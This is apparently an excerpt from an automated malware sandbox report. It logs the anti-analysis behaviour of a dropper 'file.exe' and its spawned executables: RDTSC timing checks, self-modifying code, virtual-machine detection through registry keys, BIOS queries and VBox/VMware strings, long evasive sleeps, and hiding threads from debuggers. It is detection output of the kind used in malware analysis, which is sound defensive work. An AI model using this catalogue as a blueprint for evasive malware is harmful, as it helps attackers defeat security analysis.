Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F8045A second address: 4F80460 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe RDTSC instruction interceptor: First address: FDE543 second address: FDE549 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe RDTSC instruction interceptor: First address: FDE549 second address: FDE553 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F32E9641F16h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe RDTSC instruction interceptor: First address: FDE553 second address: FDE557 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe RDTSC instruction interceptor: First address: FDDE28 second address: FDDE3F instructions: 0x00000000 rdtsc 0x00000002 ja 00007F32E9641F1Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe RDTSC instruction interceptor: First address: FDDE3F second address: FDDE49 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F32E8D838D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe RDTSC instruction interceptor: First address: FDDE49 second address: FDDE5B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F32E9641F1Eh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe RDTSC instruction interceptor: First address: 1150702 second address: 1150735 instructions: 0x00000000 rdtsc 0x00000002 js 00007F32E8D838E6h 0x00000008 jmp 00007F32E8D838E0h 0x0000000d pushad 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 jmp 00007F32E8D838E6h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe RDTSC instruction interceptor: First address: 116964C second address: 116965E instructions: 0x00000000 rdtsc 0x00000002 jne 00007F32E9641F16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jl 00007F32E9641F16h 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe RDTSC instruction interceptor: First address: 11697D0 second address: 11697E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 jmp 00007F32E8D838E1h 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe RDTSC instruction interceptor: First address: 1169995 second address: 116999E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe RDTSC instruction interceptor: First address: 116999E second address: 11699A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe RDTSC instruction interceptor: First address: 11699A6 second address: 11699B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F32E9641F1Ch 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe RDTSC instruction interceptor: First address: 1169AF4 second address: 1169B2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F32E8D838D6h 0x0000000a pop esi 0x0000000b pushad 0x0000000c jmp 00007F32E8D838E9h 0x00000011 jl 00007F32E8D838D6h 0x00000017 jmp 00007F32E8D838DDh 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe RDTSC instruction interceptor: First address: 116C391 second address: 116C397 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe RDTSC instruction interceptor: First address: 116C397 second address: 116C39B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe RDTSC instruction interceptor: First address: 116C39B second address: 116C3D8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E9641F1Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F32E9641F29h 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 jl 00007F32E9641F22h 0x0000001b jp 00007F32E9641F1Ch 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe RDTSC instruction interceptor: First address: 116C4BD second address: 116C4C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe RDTSC instruction interceptor: First address: 116C4C2 second address: 116C556 instructions: 0x00000000 rdtsc 0x00000002 je 00007F32E9641F18h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edi 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f jno 00007F32E9641F16h 0x00000015 popad 0x00000016 pop edi 0x00000017 nop 0x00000018 push 00000000h 0x0000001a push esi 0x0000001b call 00007F32E9641F18h 0x00000020 pop esi 0x00000021 mov dword ptr [esp+04h], esi 0x00000025 add dword ptr [esp+04h], 00000015h 0x0000002d inc esi 0x0000002e push esi 0x0000002f ret 0x00000030 pop esi 0x00000031 ret 0x00000032 mov edx, dword ptr [ebp+122D2D4Dh] 0x00000038 jmp 00007F32E9641F21h 0x0000003d push 00000000h 0x0000003f pushad 0x00000040 pushad 0x00000041 mov ecx, dword ptr [ebp+122D2DCDh] 0x00000047 mov edi, edx 0x00000049 popad 0x0000004a and edx, dword ptr [ebp+122D2FB9h] 0x00000050 popad 0x00000051 call 00007F32E9641F19h 0x00000056 pushad 0x00000057 push edi 0x00000058 jmp 00007F32E9641F1Bh 0x0000005d pop edi 0x0000005e jmp 00007F32E9641F24h 0x00000063 popad 0x00000064 push eax 0x00000065 push eax 0x00000066 push edx 0x00000067 pushad 0x00000068 push eax 0x00000069 push edx 0x0000006a rdtsc
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe RDTSC instruction interceptor: First address: 116C556 second address: 116C55D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe RDTSC instruction interceptor: First address: 116C55D second address: 116C57B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E9641F1Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push eax 0x0000000e push edx 0x0000000f push ecx 0x00000010 jg 00007F32E9641F16h 0x00000016 pop ecx 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe RDTSC instruction interceptor: First address: 116C57B second address: 116C581 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Tries to evade debugger and weak emulator (self modifying code)
Source: C:\Users\user\Desktop\file.exe Special instruction interceptor: First address: 39EF02 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe Special instruction interceptor: First address: 39EE52 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe Special instruction interceptor: First address: 5D8D8D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe Special instruction interceptor: First address: FDDDA7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe Special instruction interceptor: First address: FDDE9F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe Special instruction interceptor: First address: 119124F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe Special instruction interceptor: First address: 118FC05 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe Special instruction interceptor: First address: 12315EA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe Special instruction interceptor: First address: FBC8E9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe Special instruction interceptor: First address: 1049403 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Special instruction interceptor: First address: F3C8E9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Special instruction interceptor: First address: FC9403 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Special instruction interceptor: First address: D1EF02 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Special instruction interceptor: First address: D1EE52 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Special instruction interceptor: First address: F58D8D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe Special instruction interceptor: First address: 14066D1 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe Special instruction interceptor: First address: 125B59A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe Special instruction interceptor: First address: 142B65F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe Special instruction interceptor: First address: 97DDA7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe Special instruction interceptor: First address: 97DE9F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe Special instruction interceptor: First address: B3124F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe Special instruction interceptor: First address: B2FC05 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe Special instruction interceptor: First address: BD15EA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\WQDKVI4V7797JCIA8ZKVR40QNCXFHXH.exe Special instruction interceptor: First address: 2FC8E9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\WQDKVI4V7797JCIA8ZKVR40QNCXFHXH.exe Special instruction interceptor: First address: 389403 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe Special instruction interceptor: First address: 61DDA7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe Special instruction interceptor: First address: 61DE9F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe Special instruction interceptor: First address: 7D124F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe Special instruction interceptor: First address: 7CFC05 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\D0QMSIUHN1DMZFTBB2S7.exe Special instruction interceptor: First address: BAC8E9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe Special instruction interceptor: First address: 8715EA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\D0QMSIUHN1DMZFTBB2S7.exe Special instruction interceptor: First address: C39403 instructions caused by: Self-modifying code
Allocates memory with a write watch (potentially for evading sandboxes)
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe Memory allocated: 48B0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe Memory allocated: 4C90000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe Memory allocated: 4A00000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe Memory allocated: 4960000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe Memory allocated: 4D50000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe Memory allocated: 4AD0000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe Memory allocated: 4DA0000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe Memory allocated: 4DA0000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe Memory allocated: 6DA0000 memory reserve | memory write watch
Contains capabilities to detect virtual machines
Source: C:\Users\user\AppData\Local\Temp\D0QMSIUHN1DMZFTBB2S7.exe Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\D0QMSIUHN1DMZFTBB2S7.exe Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\D0QMSIUHN1DMZFTBB2S7.exe Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe Code function: 4_2_0116C6A2 rdtsc 4_2_0116C6A2
Contains long sleeps (>= 3 min)
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Thread delayed: delay time: 180000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe Thread delayed: delay time: 922337203685477
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window / User API: threadDelayed 356 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window / User API: threadDelayed 1697 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window / User API: threadDelayed 2174 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe Window / User API: threadDelayed 525
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Users\user\Desktop\file.exe TID: 4296 Thread sleep time: -30015s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6120 Thread sleep time: -30000s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3636 Thread sleep time: -30000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe TID: 2124 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5904 Thread sleep count: 55 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5904 Thread sleep time: -110055s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3796 Thread sleep count: 66 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3796 Thread sleep time: -132066s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2792 Thread sleep count: 51 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2792 Thread sleep time: -102051s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1460 Thread sleep time: -32000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6308 Thread sleep count: 356 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6308 Thread sleep time: -10680000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1700 Thread sleep count: 1697 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1700 Thread sleep time: -3395697s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4888 Thread sleep time: -360000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1700 Thread sleep count: 2174 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1700 Thread sleep time: -4350174s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe TID: 4228 Thread sleep time: -30000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe TID: 2228 Thread sleep time: -60000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe TID: 7232 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe TID: 1784 Thread sleep time: -922337203685477s >= -30000s
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Source: C:\Users\user\Desktop\file.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Thread delayed: delay time: 30000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Thread delayed: delay time: 180000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe Thread delayed: delay time: 922337203685477
Source: file.exe, 00000000.00000000.1676624966.000000000052A000.00000080.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1683609943.000000000514D000.00000004.00000800.00020000.00000000.sdmp, GVDV7NGS54W9A7T64.exe, GVDV7NGS54W9A7T64.exe, 00000004.00000002.2174884320.0000000001171000.00000040.00000001.01000000.00000006.sdmp, AJK1SC9862O5LRO4.exe, AJK1SC9862O5LRO4.exe, 00000005.00000002.2096642786.0000000000F96000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, skotes.exe, 00000007.00000002.2142691588.0000000000F16000.00000040.00000001.01000000.0000000C.sdmp, 7f3598dc65.exe, 00000008.00000000.2187732214.0000000000EAA000.00000080.00000001.01000000.0000000E.sdmp, 7f3598dc65.exe, 00000008.00000003.2194475860.000000000509A000.00000004.00000800.00020000.00000000.sdmp, 606111e8b5.exe, 00000009.00000002.2309694023.00000000013E3000.00000040.00000001.01000000.0000000F.sdmp, skotes.exe, 0000000A.00000002.2336389961.0000000000F16000.00000040.00000001.01000000.0000000C.sdmp, 7f3598dc65.exe, 00000010.00000000.2317892611.0000000000EAA000.00000080.00000001.01000000.0000000E.sdmp Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: num.exe, 0000001A.00000002.2363112803.000000000159E000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: VMwareVMware@
Source: AJK1SC9862O5LRO4.exe, 00000005.00000003.2062890324.000000000189D000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: 606111e8b5.exe, 00000009.00000002.2310828358.0000000001AEE000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: VMwareVMwareB
Source: 7f3598dc65.exe, 00000010.00000003.2409524653.0000000000681000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2422151331.0000000000681000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2470951656.000000000068E000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2376427706.0000000000682000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2389013409.000000000067E000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2366019019.000000000067E000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2474250062.0000000000690000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2426207049.0000000000682000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2452134408.0000000000682000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2470591112.0000000000688000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: hgFsn3hFmxmJgybYvdB7AhqESpITJByIQVm1bOGkkd4
Source: firefox.exe, 00000019.00000002.2526675937.000002B9A66A0000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW@Oo
Source: file.exe, 00000000.00000003.2011418122.000000000108A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1699790064.0000000001086000.00000004.00000020.00020000.00000000.sdmp, 606111e8b5.exe, 00000009.00000002.2310828358.0000000001B72000.00000004.00000020.00020000.00000000.sdmp, 606111e8b5.exe, 00000009.00000002.2310828358.0000000001B34000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2493833080.000000000061D000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2548960148.000000000061D000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2548960148.000000000062E000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2389541459.000000000061D000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2426207049.000000000061D000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2453756158.000000000061D000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: 606111e8b5.exe, 0000001D.00000002.2516702387.0000000000B8B000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: VMwareVMware
Source: firefox.exe, 00000019.00000002.2532776843.000002B9B07B2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2506916049.00000274E3C21000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW : 2 : 34 : 1 : 1 : 0x20026 : 0x8 : %SystemRoot%\system32\mswsock.dll : : 1234191b-4bf7-4ca7-86e0-dfd7c32b5445
Source: num.exe, 0000001A.00000002.2363112803.00000000015CE000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWhE`
Source: firefox.exe, 0000001C.00000002.2507635643.00000274E4040000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll!5
Source: file.exe, 00000000.00000003.2011455939.0000000001064000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWL
Source: firefox.exe, 00000019.00000002.2526675937.000002B9A66F2000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RA
Source: num.exe, 0000001A.00000002.2363112803.00000000015FD000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW>
Source: 606111e8b5.exe, 0000001D.00000002.2516702387.0000000000BFC000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWH9M&
Source: file.exe, 00000000.00000000.1676624966.000000000052A000.00000080.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1683609943.000000000514D000.00000004.00000800.00020000.00000000.sdmp, GVDV7NGS54W9A7T64.exe, 00000004.00000002.2174884320.0000000001171000.00000040.00000001.01000000.00000006.sdmp, AJK1SC9862O5LRO4.exe, 00000005.00000002.2096642786.0000000000F96000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000007.00000002.2142691588.0000000000F16000.00000040.00000001.01000000.0000000C.sdmp, 7f3598dc65.exe, 00000008.00000000.2187732214.0000000000EAA000.00000080.00000001.01000000.0000000E.sdmp, 7f3598dc65.exe, 00000008.00000003.2194475860.000000000509A000.00000004.00000800.00020000.00000000.sdmp, 606111e8b5.exe, 00000009.00000002.2309694023.00000000013E3000.00000040.00000001.01000000.0000000F.sdmp, skotes.exe, 0000000A.00000002.2336389961.0000000000F16000.00000040.00000001.01000000.0000000C.sdmp, 7f3598dc65.exe, 00000010.00000000.2317892611.0000000000EAA000.00000080.00000001.01000000.0000000E.sdmp Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: firefox.exe, 0000001C.00000002.2507635643.00000274E4040000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2519765281.000002941A0F0000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: C:\Users\user\Desktop\file.exe System information queried: ModuleInformation Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information queried: ProcessInformation Jump to behavior

Anti Debugging
barindex
Hides threads from debuggers
Source: C:\Users\user\Desktop\file.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe Thread information set: HideFromDebugger Jump to behavior
